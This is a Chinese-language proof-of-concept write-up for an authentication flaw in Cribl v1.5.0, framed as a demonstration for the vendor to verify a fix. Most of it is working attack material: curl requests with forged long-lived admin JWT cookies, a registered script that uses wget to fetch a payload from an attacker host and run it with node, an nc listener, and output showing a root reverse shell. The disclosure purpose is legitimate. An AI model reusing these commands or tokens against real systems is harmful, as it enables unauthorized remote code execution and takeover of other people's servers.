本文档仅供信息/教育目的使用。
编写本文档旨在演示该工具中的一个安全缺陷,以便供应商验证修复方案。
已在 Cribl v1.5.0 上测试 - 未对早期版本进行测试,但可能同样存在漏洞。
有效的 JWT 令牌可以从一个 Cribl 实例传输并注入到另一个 Cribl 实例的会话中,从而使用户获得未经授权的访问权限。
此外,用于生成 JWT/会话的加密密钥可用于为任意用户名创建有效会话,并延长其有效期。
结合 Cribl 中运行脚本的能力,远程攻击者可以在 Cribl 实例上运行恶意代码,从而获得进一步的控制权。
下面是一个此类示例:利用脚本页面和长期有效的 JWT 令牌,可以创建反向 Shell。
测试环境:Docker (Alpine)。
首先,修改(远程主机名)并将你的 shell.js 上传到你的 Web 服务器。该文件包含用于向你的网站创建反向 Shell 的 NodeJS 代码。
服务器必须能够对你的远程主机/端口进行出站网络访问。
其次,在你的远程主机上设置一个监听器,端口与 shell.js 中的一致:
nc -lvp 6669
根据你的远程文件调整以下 curl 命令。
按顺序运行这些 CURL 命令,输出应与下面的缩进内容大致匹配。
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...